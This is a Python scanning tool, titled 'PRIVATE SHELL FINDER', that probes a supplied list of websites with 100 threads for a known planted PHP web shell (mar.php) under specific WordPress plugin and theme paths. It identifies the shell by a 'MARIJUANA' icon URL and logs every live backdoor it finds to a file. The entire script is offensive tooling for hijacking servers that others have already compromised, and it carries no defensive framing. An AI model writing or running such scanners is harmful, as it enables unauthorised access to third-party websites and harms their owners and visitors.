import sys
import requests
import re
from multiprocessing.dummy import Pool
from colorama import Fore, init

init(autoreset=True)

fr = Fore.RED
fc = Fore.CYAN
fw = Fore.WHITE
fg = Fore.GREEN
fm = Fore.MAGENTA

print(fr + "         .---.        .-----------")
print(fr + "         /     \\  __  /    ------")
print(fr + "        / /     \\(  )/    -----")
print(fr + "       //////   ' \\/ `   ---")
print(fr + "      //// / // :    : ---")
print(fr + "     // /   /  /`    '--")
print(fr + "    //          //..\\\\")
print(fr + "           ====UU====UU====")
print(fr + "               '//||\\\\`")
print(fr + "                 ''``")
print(fc + "   ▄▄▄▄   ▄▄▄    ▄▄▄ ▄▄▄▄▄▄▄   ▄▄▄  ▄▄▄ ")
print(fc + " ▄██▀▀██▄ ████▄  ███ ███▀▀███▄ ███  ███ ")
print(fc + " ███  ███ ███▀██▄███ ███▄▄███▀ ███  ███ ")
print(fc + " ███▀▀███ ███  ▀████ ███  ███▄ ███▄▄███ ")
print(fc + " ███  ███ ███    ███ ████████▀ ▀██████▀")
print(fw + "                                        ")
print(fm + "    PRIVATE SHELL FINDER BY @F0X_6T9    ")
print(fw + "         ")

requests.urllib3.disable_warnings()

headers = {
    'Connection': 'keep-alive',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8',
    'referer': 'www.google.com'
}

try:
    target = [i.strip() for i in open(sys.argv[1], mode='r').readlines()]
except IndexError:
    path = str(sys.argv[0]).split('\\')
    sys.exit('\n  [!] Enter <' + path[-1] + '> <sites.txt>')


def URLdomain(site):
    if site.startswith("http://"):
        site = site.replace("http://", "")
    elif site.startswith("https://"):
        site = site.replace("https://", "")
    pattern = re.compile('(.*)/')
    while re.findall(pattern, site):
        site = re.findall(pattern, site)[0]
    return site


def F0X6T9(url):
    try:
        url = 'http://' + URLdomain(url)
        check = requests.get(url + '/wp-content/plugins/seoplugins/mar.php', headers=headers, allow_redirects=True, timeout=15)
        if b'//0x5a455553.github.io/MARIJUANA/icon.png' in check.content:
            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
            with open('ZeroShells.txt', 'a') as f:
                f.write(url + '/wp-content/plugins/seoplugins/mar.php\n')
        else:
            url = 'https://' + URLdomain(url)
            check = requests.get(url + '/wp-content/plugins/seoplugins/mar.php', headers=headers, allow_redirects=True, verify=False, timeout=15)
            if b'//0x5a455553.github.io/MARIJUANA/icon.png' in check.content:
                print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
                with open('ZeroShells.txt', 'a') as f:
                    f.write(url + '/wp-content/plugins/seoplugins/mar.php\n')
            else:
                print(' -| ' + url + ' --> {}[Failed]'.format(fr))

        url = 'http://' + URLdomain(url)
        check = requests.get(url + '/wp-content/themes/seotheme/mar.php', headers=headers, allow_redirects=True, timeout=15)
        if b'//0x5a455553.github.io/MARIJUANA/icon.png' in check.content:
            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
            with open('ZeroShells.txt', 'a') as f:
                f.write(url + '/wp-content/themes/seotheme/mar.php\n')
        else:
            url = 'https://' + URLdomain(url)
            check = requests.get(url + '/wp-content/themes/seotheme/mar.php', headers=headers, allow_redirects=True, verify=False, timeout=15)
            if b'//0x5a455553.github.io/MARIJUANA/icon.png' in check.content:
                print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
                with open('ZeroShells.txt', 'a') as f:
                    f.write(url + '/wp-content/themes/seotheme/mar.php\n')
            else:
                print(' -| ' + url + ' --> {}[Failed]'.format(fr))
    except Exception:
        print(' -| ' + url + ' --> {}[Failed]'.format(fr))


mp = Pool(100)
mp.map(F0X6T9, target)
mp.close()
mp.join()

print('\n [!] {}Saved in ZeroShells.txt'.format(fc))
